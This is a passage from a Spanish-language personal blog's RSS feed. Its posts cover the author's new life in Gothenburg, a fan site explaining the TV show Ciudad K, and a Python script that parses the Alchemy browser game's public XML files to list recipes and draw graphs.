<p>Durante la segunda semana de Septiembre estaré en Bélgica, particularmente en <a href="http://wikitravel.org/en/Leuven ">Leuven</a>. En <a href="http://www.iit.cnr.it/FAST2011/">FAST2011</a> <a href="http://www.iit.cnr.it/FAST2011/Unico.htm#programme">aceptaron</a> <a href="http://tpi.blog.unq.edu.ar/~ebonelli/fast11Long.pdf">un paper que escribí</a> con <a href="http://tpi.blog.unq.edu.ar/~ebonelli/">Eduardo</a>. Es mi primer publicación relativamente importante y preparar su presentación me está llevando una buena porción del día. Este evento es satélite de uno más importante, llamado <a href="https://www.cosic.esat.kuleuven.be/esorics2011/">ESORICS2011</a>, donde otros estudiantes de Chalmers presentan trabajos, por lo que también estaré allí. Como mis obligaciones terminan el Viernes, tengo pensado pasar el fin de semana en <a href="http://wikitravel.org/en/Bruges">Bruges</a>. Si estás por ahí entre el 10 y el 18, no dudes en avisar!</p>
<h1>Hospedaje</h1>
<p>El <a href="http://www.service.gf.gu.se/english/guestservices/">guest service de la Göteborgs Universitet</a> me asignó un pequeño pero confortable departamento en Skanstorge, un céntrico barrio de la ciudad. Lamentablemente es provisorio y tengo que dejarlo en Octubre. Dado que es una ciudad mayormente de universitarios, conseguir donde alojarse no es una tarea sencilla. Así que buena parte del tiempo está abocado a esta búsqueda.<center><br />
<a href="https://picasaweb.google.com/lh/photo/QU9huTYsqooPMpbPCal6RAyBkqR30efJ5IGzK_TALJ4?feat=embedwebsite"><img src="https://lh3.googleusercontent.com/--EgFK4MshbM/TlPOb6KoM-I/AAAAAAAADLo/pm3CA8DS9Uc/s400/2011-08-16T08%25253A19%25253A07-41.JPG" height="132" width="400" /></a></center></p>
<h1>La organización de los próximos posts</h1>
<p>No estoy seguro si los lectores de este blog utilizan las categorías. Están a la izquierda y permiten que el lector se subscriba a un tema específico de este heterogéneo blog. Por ejemplo, los temas sobre mi estancia en Suecia pueden encontrarse en la <a href="http://www.lucianobello.com.ar/category/life/sweden/">categoría <em>Sweden</em></a>. Tengo pensado abrir <a href="http://www.lucianobello.com.ar/category/life/sweden/lessons/">una nueva categoría llamada <em>Lessons Learned</em></a> donde, fiel al estilo pedante de este blog, comentaré algunas cosas que me llaman mucho la atención sobre el cómo se vive por aquí con la esperanza que le pueda ser útil a alguien.</p>
<h1>Gente con quién hablar español</h1>
<p>Es cierto que parte de la aventura es el idioma. Pero también es cierto que puede desesperar, sobre todo cuando viene mezclado con temas culturales y de difícil comprensión para el extranjero. Por suerte acá hay mucha gente con quién hablar la lengua de Cervantes. Por un lado, gracias a <a href="https://twitter.com/#!/egimenez">Emilio</a>, me uní al <a href="http://www.facebook.com/#!/groups/argentinos.en.gotemburgo/">grupo de Facebook &#8220;Argentinos en Gothenburgo&#8221;</a>. Resultó ser una gran ayuda en temas gastronómicos y otros relacionados con la cultura local. Por otro lado, en la universidad hay varios hispanohablantes que también facilitan mucho la entrada a mundo sueco, entre ellos <a href="http://www.cse.chalmers.se/~russo/">Alejandro</a> y <a href="http://www.cse.chalmers.se/~bove/">Ana</a>.</p>
<h1>Las fotos</h1>
<p>Resolví subir la fotos &#8220;diarias&#8221; a <a href="https://picasaweb.google.com/">Picasa</a>, el servicio de álbumes de Google. Se las puede encontrar <a href='https://picasaweb.google.com/117760567123276592725/Goteborg'>aquí</a>. La razón principal por la que lo hice de esta forma es bastante tonta y tiene que ver con que mi mamá puede bajarlas en buena calidad para imprimirlas (sí, ella imprime las fotos). Vieja, eso se hace desde el botón Download. Subir fotos en buena calidad (y a solo 5 dolares anuales los 20G) está bueno. Lo malo es que quien quiera comentarlas tendrá que tener una cuenta Google (las de Gmail, vamos). Sorber y soplar.<br />
Pueden subscribirse al álbum para que se les notifique cuando hay nuevas fotos vía mail (que creo que también requiere tener cuenta) o por <a href="https://picasaweb.google.com/data/feed/base/user/117760567123276592725/albumid/5644074058845010097?alt=rss&#038;kind=photo&#038;hl=en_US">RSS</a>. Las fotos de viajes y eventos específicos seguirán en <a href="http://www.lucianobello.com.ar/fotos/">http://www.lucianobello.com.ar/fotos/</a>.</p>
<h1>Nos volveremos a ver</h1>
<p>Antes de irme, Pato me hizo <a href="http://www.youtube.com/watch?v=NL0MBFhHANM">un emotivo video de despedida</a>. Muchas gracias a todos los que participaron en él. El mismo gira alrededor de la frase <a href="http://www.youtube.com/watch?v=QMTCUlPxwRw">&#8220;nos volveremos a ver&#8221;</a> en alusión a la canción <em>calamarera</em>. Pues.. así será. Mañana sacaré el pasaje para ir a Buenos Aires a pasar las fiestas y <a href="https://twitter.com/#!/gsarasate">Guadalupe</a> ya tiene los suyos para venir (y traerme las cosas que me olvidé :P) en Noviembre. Sin duda nos volveremos a ver y habrá muchas aventuras que contar!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/nos-volveremos-a-ver/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ciudad K explicado</title>
		<link>http://www.lucianobello.com.ar/post/ciudad-k-explicado/</link>
		<comments>http://www.lucianobello.com.ar/post/ciudad-k-explicado/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 20:34:42 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1619</guid>
		<description><![CDATA[Primero lo primero, visita: www.ciudadkexplicado.com.ar A continuación la explicación de qué es eso. Cada vez que voy al viejo continente redescubro la tele española. Está llena de programas de humor, muchos de ellos increíblemente graciosos, incluso cuando varias gracias se pierden por no ser local. La última vez que estuve ahí no fue la excepción. [...]]]></description>
			<content:encoded><![CDATA[<p>Primero lo primero, visita:<br />
<center><span style="font-size: medium;"><a href="http://www.ciudadkexplicado.com.ar/">www.ciudadkexplicado.com.ar</a></span></center><br />
A continuación la explicación de qué es eso.</p>
<p><img style="margin-left: 10px; margin-right: 10px;" src="http://www.lucianobello.com.ar/blog/Ciudadk1.jpg" align="right" /> <img style="margin-left: 10px; margin-right: 10px; margin-top: 10px;" src="http://www.lucianobello.com.ar/blog/Ciudadk2.jpg" align="right" /> <img style="margin-left: 10px; margin-right: 10px; margin-top: 10px;" src="http://www.lucianobello.com.ar/blog/Ciudadk3.jpg" align="right" />Cada vez que voy al viejo continente redescubro la tele española. Está llena de programas de humor, muchos de ellos increíblemente graciosos, incluso cuando varias gracias se pierden por no ser local. <a href="http://www.lucianobello.com.ar/post/%C2%A1nos-vemos-en-espana/">La última vez que estuve ahí</a> no fue la excepción. <a href="http://sanchezpaz.blogspot.com/">Santiago</a> me habló de un programa llamado <a href="http://www.rtve.es/television/ciudad-k/">Ciudad K</a> (sin relación con los <a href="http://www.nestorkirchner2011.com/">K de acá</a>).</p>
<p><a href="http://www.rtve.es/television/ciudad-k/">Ciudad K</a> es un ya finalizado show de 14 capítulos, dirigido por el genial <a href="http://www.mimesacojea.com/">José Antonio Pérez</a>, que fusiona el humor y el geekismo de forma épica. En esta hipotética ciudad, los habitantes tiene un nivel cultural e intelectual sobresaliente y las situaciones son de lo más bizarras. <a href="http://www.rtve.es/alacarta/videos/television/ciudad---capitulo-1/694053/">Todos los capítulos se encuentran en línea</a> y son altamente recomendables.</p>
<p>Les hablé de esta serie a muchos conocidos freaks/nerds/geeks, y con ellos solemos comentar algunos gags que allí aparecen. Así fue como hemos notamos que ninguno de nosotros entendía todos los chistes, dado que abarcan un amplio espectro entre física, tecnología, economía, cine, artes plásticas, psicología y otras ramas de la cultura y la ciencia. De hecho, rápidamente descubrimos que conversar sobre Ciudad K era una <strong>muy divertida forma de aprender nuevas cosas, especialmente en las áreas en las que uno es un completo ignorante</strong>.</p>
<p>Así fue como levanté <a href="http://www.ciudadkexplicado.com.ar">www.ciudadkexplicado.com.ar</a>, un espacio en donde espero que se pueda conversar sobre los temas que se tocaron en la serie mientras se aprenden cosas nuevas y posiblemente inútiles.</p>
<p>Este viejo <em>procrastination project</em> lo tenía pendiente desde hacía meses y lo que se ve (así de feo) es el resultado de un arrebato de aburrimiento y de las ganas de saber que tan lejos se puede llegar con <a href="https://sites.google.com/">Google Sites</a>. Pasé por varios vericuetos técnicos que, supongo, explicaré en otro post.</p>
<p>PD: <a href="https://twitter.com/#!/mimesacojea/status/77872650474618880">Lo lamento José, soy un tío</a> :P</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/ciudad-k-explicado/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>alchemy: jugando a ser dios (ó cómo hacer trampa con Python)</title>
		<link>http://www.lucianobello.com.ar/post/jugando-a-ser-dios/</link>
		<comments>http://www.lucianobello.com.ar/post/jugando-a-ser-dios/#comments</comments>
		<pubDate>Sat, 04 Jun 2011 15:05:54 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1597</guid>
		<description><![CDATA[Creo que esto de usar Python para hacer trampa se me está volviendo vicio. Es que hay veces que las cosas te piden a gritos que tomes un atajo. Y esto fue lo que me pasó esta semana. Primero un poco de contexto. La semana pasada conocí, a través de Microsiervos, un juego llamado Alchemy. [...]]]></description>
			<content:encoded><![CDATA[<p>Creo que esto de usar Python para hacer trampa <a href="/post/how-to-hack-a-h4ckc0nt3st/">se me está volviendo vicio</a>. Es que hay veces que las cosas te piden a gritos que tomes un atajo. Y esto fue lo que me pasó esta semana.</p>
<p>Primero un poco de contexto. La semana pasada conocí, a través de <a href="http://juegos.microsiervos.com/ingenio/alchemy.html">Microsiervos</a>, un juego llamado <a href="http://alchemy.l8r.pl/">Alchemy</a>. Consiste en combinar los cuatro elementos clásicos griegos (tierra, agua, fuego y aire) para generar nuevos elementos y a su vez, otros con estos.<br />
<img src="http://juegos.microsiervos.com/images/alchemy.jpg" alt="" /><br />
Se los comenté a varios conocidos y se engancharon. El tope (al menos de momento) es 200 elementos y, como se trata de un juego muy divertido y adictivo, en un tiempo razonable se puede superar los 100. Los elementos son cada vez más complejos, incluso uno se empieza a obsesionar con la idea de crear <em>human</em> :P</p>
<p>El problema llega cuando uno se estanca y la tentación de hacer trampa se hace inevitable.</p>
<p><strong>Atención: a partir de este momento el post es una especie de <a href="https://secure.wikimedia.org/wikipedia/es/wiki/Spoiler">spoiler</a> en donde se explica cómo llegar al final del juego sin <em>jugarlo</em>. Si estás jugándolo y lo disfrutas, deja de leer inmediatamente.</strong></p>
<p>Con mirar rápidamente el código de la página, uno puede descubrir cómo funciona. Parece haber un <a href="http://alchemy.l8r.pl/library.xml">archivo en donde se definen las relaciones de los elementos por un número identificador</a> y <a href="http://alchemy.l8r.pl/en_us.xml">otro donde está se mapean estos identificadores a nombres</a>. El siguiente script me ayudó a organizar la información muy rápidamente:<br />
<div id="wpshdo_1" class="wp-synhighlighter-outer"><div id="wpshdt_1" class="wp-synhighlighter-collapsed"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_1"></a><a id="wpshat_1" class="wp-synhighlighter-title" href="#codesyntax_1"  onClick="javascript:wpsh_toggleBlock(1)" title="Click to show/hide code block">alchemy.py</a></td><td align="right"><a href="#codesyntax_1" onClick="javascript:wpsh_code(1)" title="Show code only"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_1" onClick="javascript:wpsh_print(1)" title="Print code"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_1" class="wp-synhighlighter-inner" style="display: none;"><pre class="python" style="font-family:monospace;"><ol><li class="li1"><div class="de1"><span class="co1">#!/usr/bin/python</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">urllib</span></div></li><li class="li1"><div class="de1"><span class="kw1">from</span> <span class="kw3">xml</span>.<span class="me1">dom</span> <span class="kw1">import</span> minidom</div></li><li class="li1"><div class="de1"><span class="kw1">from</span> <span class="kw3">optparse</span> <span class="kw1">import</span> OptionParser,OptionValueError</div></li><li class="li1"><div class="de1">library_xml = <span class="kw3">urllib</span>.<span class="me1">urlopen</span><span class="br0">&#40;</span><span class="st0">&quot;http://alchemy.l8r.pl/library.xml&quot;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">relations = minidom.<span class="me1">parse</span><span class="br0">&#40;</span>library_xml<span class="br0">&#41;</span>.<span class="me1">documentElement</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'entry'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">name_xml = <span class="kw3">urllib</span>.<span class="me1">urlopen</span><span class="br0">&#40;</span><span class="st0">&quot;http://alchemy.l8r.pl/en_us.xml&quot;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">names = minidom.<span class="me1">parse</span><span class="br0">&#40;</span>name_xml<span class="br0">&#41;</span>.<span class="me1">documentElement</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'library'</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'entry'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">elementsID=<span class="kw2">dict</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">elementsNAME=<span class="kw2">dict</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">class</span> Element<span class="br0">&#40;</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span>,name<span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="kw2">id</span>=<span class="kw2">int</span><span class="br0">&#40;</span><span class="kw2">id</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="me1">name</span>=<span class="kw2">str</span><span class="br0">&#40;</span>name<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="me1">compoundBy</span>=<span class="br0">&#91;</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="me1">compose</span>=<span class="br0">&#91;</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">def</span> AddCompoundBy<span class="br0">&#40;</span><span class="kw2">self</span>,components<span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">        components.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'parent'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        compoundBy=<span class="br0">&#91;</span><span class="br0">&#40;</span><span class="kw2">int</span><span class="br0">&#40;</span>i.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">'id'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw1">for</span> i <span class="kw1">in</span> components.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'parent'</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="me1">compoundBy</span>.<span class="me1">append</span><span class="br0">&#40;</span>compoundBy<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">return</span> compoundBy</div></li><li class="li1"><div class="de1">    <span class="kw1">def</span> <span class="kw4">__str__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">        <span class="kw1">return</span> <span class="st0">&quot;%s (%i)&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">name</span>,<span class="kw2">self</span>.<span class="kw2">id</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">for</span> name <span class="kw1">in</span> names:</div></li><li class="li1"><div class="de1">    id_=name.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">'id'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    name_=name._get_childNodes<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span>0<span class="br0">&#93;</span>.<span class="me1">data</span></div></li><li class="li1"><div class="de1">    element_=Element<span class="br0">&#40;</span>id_,name_<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    elementsID<span class="br0">&#91;</span><span class="kw2">int</span><span class="br0">&#40;</span>id_<span class="br0">&#41;</span><span class="br0">&#93;</span>=element_</div></li><li class="li1"><div class="de1">    elementsNAME<span class="br0">&#91;</span><span class="kw2">str</span><span class="br0">&#40;</span>name_<span class="br0">&#41;</span><span class="br0">&#93;</span>=element_</div></li><li class="li1"><div class="de1"><span class="kw1">for</span> rel <span class="kw1">in</span> relations:</div></li><li class="li1"><div class="de1">    element=elementsID<span class="br0">&#91;</span><span class="kw2">int</span><span class="br0">&#40;</span>rel.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">'id'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> parent <span class="kw1">in</span> rel.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'parents'</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">        childs=element.<span class="me1">AddCompoundBy</span><span class="br0">&#40;</span>parent<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        elementsID<span class="br0">&#91;</span>childs<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">compose</span>.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#91;</span>element.<span class="kw2">id</span>,elementsID<span class="br0">&#91;</span>childs<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="kw2">id</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">if</span> childs<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">!</span>=childs<span class="br0">&#91;</span>1<span class="br0">&#93;</span>:</div></li><li class="li1"><div class="de1">            elementsID<span class="br0">&#91;</span>childs<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">compose</span>.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#91;</span>element.<span class="kw2">id</span>,elementsID<span class="br0">&#91;</span>childs<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="kw2">id</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">def</span> default<span class="br0">&#40;</span><span class="kw3">parser</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">parser</span>.<span class="me1">rargs</span><span class="br0">&#41;</span> == 0 <span class="kw1">or</span> <span class="st0">&quot;all&quot;</span> <span class="kw1">in</span> <span class="kw3">parser</span>.<span class="me1">rargs</span>:</div></li><li class="li1"><div class="de1">        elements = elementsNAME.<span class="me1">keys</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">else</span>:</div></li><li class="li1"><div class="de1">        elements = <span class="kw3">parser</span>.<span class="me1">rargs</span></div></li><li class="li1"><div class="de1">    <span class="kw1">return</span> elements</div></li><li class="li1"><div class="de1"><span class="kw1">def</span> forWhat<span class="br0">&#40;</span>option, opt_str, value, <span class="kw3">parser</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    elements = default<span class="br0">&#40;</span><span class="kw3">parser</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> element_ <span class="kw1">in</span> elements:</div></li><li class="li1"><div class="de1">        <span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">            element=elementsNAME<span class="br0">&#91;</span>element_<span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> compose <span class="kw1">in</span> element.<span class="me1">compose</span>:</div></li><li class="li1"><div class="de1">                <span class="kw1">print</span> <span class="st0">&quot;%s = %s + %s&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>elementsID<span class="br0">&#91;</span>compose<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span>,elementsID<span class="br0">&#91;</span>compose<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span>,element.<span class="me1">name</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">raise</span> OptionValueError<span class="br0">&#40;</span><span class="st0">'element error: %s does not exist'</span> <span class="sy0">%</span> <span class="br0">&#40;</span>element_,<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">def</span> how<span class="br0">&#40;</span>option, opt_str, value, <span class="kw3">parser</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">parser</span>.<span class="me1">rargs</span><span class="br0">&#41;</span> == 0 <span class="kw1">or</span> <span class="st0">&quot;all&quot;</span> <span class="kw1">in</span> <span class="kw3">parser</span>.<span class="me1">rargs</span>:</div></li><li class="li1"><div class="de1">        elements = elementsNAME.<span class="me1">keys</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">else</span>:</div></li><li class="li1"><div class="de1">        elements=<span class="kw3">parser</span>.<span class="me1">rargs</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> element_ <span class="kw1">in</span> elements:</div></li><li class="li1"><div class="de1">        <span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">            element=elementsNAME<span class="br0">&#91;</span>element_<span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> formula <span class="kw1">in</span> element.<span class="me1">compoundBy</span>:</div></li><li class="li1"><div class="de1">                <span class="kw1">print</span> <span class="st0">&quot;%s = %s + %s&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>element.<span class="me1">name</span>, elementsID<span class="br0">&#91;</span>formula<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span>, elementsID<span class="br0">&#91;</span>formula<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">raise</span> OptionValueError<span class="br0">&#40;</span><span class="st0">'element error: %s does not exist'</span> <span class="sy0">%</span> <span class="br0">&#40;</span>element_,<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">def</span> myaddition<span class="br0">&#40;</span>a,b,c<span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    ret=<span class="kw2">set</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="co1"># a = b + c</span></div></li><li class="li1"><div class="de1">    addition=<span class="st0">&quot;%s%s%s&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>a,b,c<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    ret.<span class="me1">add</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span> [shape=point,style=filled,label=<span class="es0">\&quot;</span><span class="es0">\&quot;</span>,height=.1,width=.1]&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>addition,<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    ret.<span class="me1">add</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span>-&gt;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span> [weight=1];<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span>-&gt;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span> [weight=1];<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span>-&gt;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span> [weight=2]&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>b, addition,c,addition,addition,a<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">return</span> ret</div></li><li class="li1"><div class="de1"><span class="kw1">def</span> graph<span class="br0">&#40;</span>option, opt_str, value, <span class="kw3">parser</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    elements = default<span class="br0">&#40;</span><span class="kw3">parser</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    ret=<span class="st0">''</span><span class="st0">'digraph G {</span></div></li><li class="li1"><div class="de1"><span class="st0">        overlap=scale</span></div></li><li class="li1"><div class="de1"><span class="st0">        splines=true</span></div></li><li class="li1"><div class="de1"><span class="st0">        rankdir=TB<span class="es0">\n</span>'</span><span class="st0">''</span></div></li><li class="li1"><div class="de1">    connections=<span class="kw2">set</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> element_ <span class="kw1">in</span> elements:</div></li><li class="li1"><div class="de1">        element=elementsNAME<span class="br0">&#91;</span>element_<span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> formula <span class="kw1">in</span> element.<span class="me1">compoundBy</span>:</div></li><li class="li1"><div class="de1">                a=element.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                b=elementsID<span class="br0">&#91;</span>formula<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                c=elementsID<span class="br0">&#91;</span>formula<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                connections|=myaddition<span class="br0">&#40;</span>a,b,c<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> compose <span class="kw1">in</span> element.<span class="me1">compose</span>:</div></li><li class="li1"><div class="de1">                a=elementsID<span class="br0">&#91;</span>compose<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                b=element.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                c=elementsID<span class="br0">&#91;</span>compose<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                connections|=myaddition<span class="br0">&#40;</span>a,b,c<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">raise</span> OptionValueError<span class="br0">&#40;</span><span class="st0">'element error: %s does not exist'</span> <span class="sy0">%</span> <span class="br0">&#40;</span>element_,<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> conn <span class="kw1">in</span>  connections:</div></li><li class="li1"><div class="de1">        ret+=conn+<span class="st0">';<span class="es0">\n</span>'</span></div></li><li class="li1"><div class="de1">    ret+=<span class="st0">'}'</span></div></li><li class="li1"><div class="de1">    <span class="kw1">print</span> ret</div></li><li class="li1"><div class="de1"><span class="kw3">parser</span> = OptionParser<span class="br0">&#40;</span><span class="st0">&quot;usage: %prog [options] [ELEMENTS|all]&quot;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw3">parser</span>.<span class="me1">add_option</span><span class="br0">&#40;</span><span class="st0">&quot;-g&quot;</span>, <span class="st0">&quot;--how&quot;</span>, action=<span class="st0">&quot;callback&quot;</span>, callback=how, dest=<span class="st0">&quot;how&quot;</span>, <span class="kw2">help</span>=<span class="st0">&quot;how can I get ELEMENT&quot;</span>, default=<span class="kw2">False</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw3">parser</span>.<span class="me1">add_option</span><span class="br0">&#40;</span><span class="st0">&quot;-f&quot;</span>, <span class="st0">&quot;--forWhat&quot;</span>, action=<span class="st0">&quot;callback&quot;</span>, callback=forWhat, dest=<span class="st0">&quot;forWhat&quot;</span>, <span class="kw2">help</span>=<span class="st0">&quot;for what elements can ELEMENT be used&quot;</span>, default=<span class="kw2">False</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw3">parser</span>.<span class="me1">add_option</span><span class="br0">&#40;</span><span class="st0">&quot;-c&quot;</span>, <span class="st0">&quot;--graph&quot;</span>, action=<span class="st0">&quot;callback&quot;</span>, callback=graph, dest=<span class="st0">&quot;graph&quot;</span>,   <span class="kw2">help</span>=<span class="st0">&quot;graph the parents/childs from/to ELEMENT&quot;</span>, default=<span class="kw2">False</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="br0">&#40;</span>options, args<span class="br0">&#41;</span> = <span class="kw3">parser</span>.<span 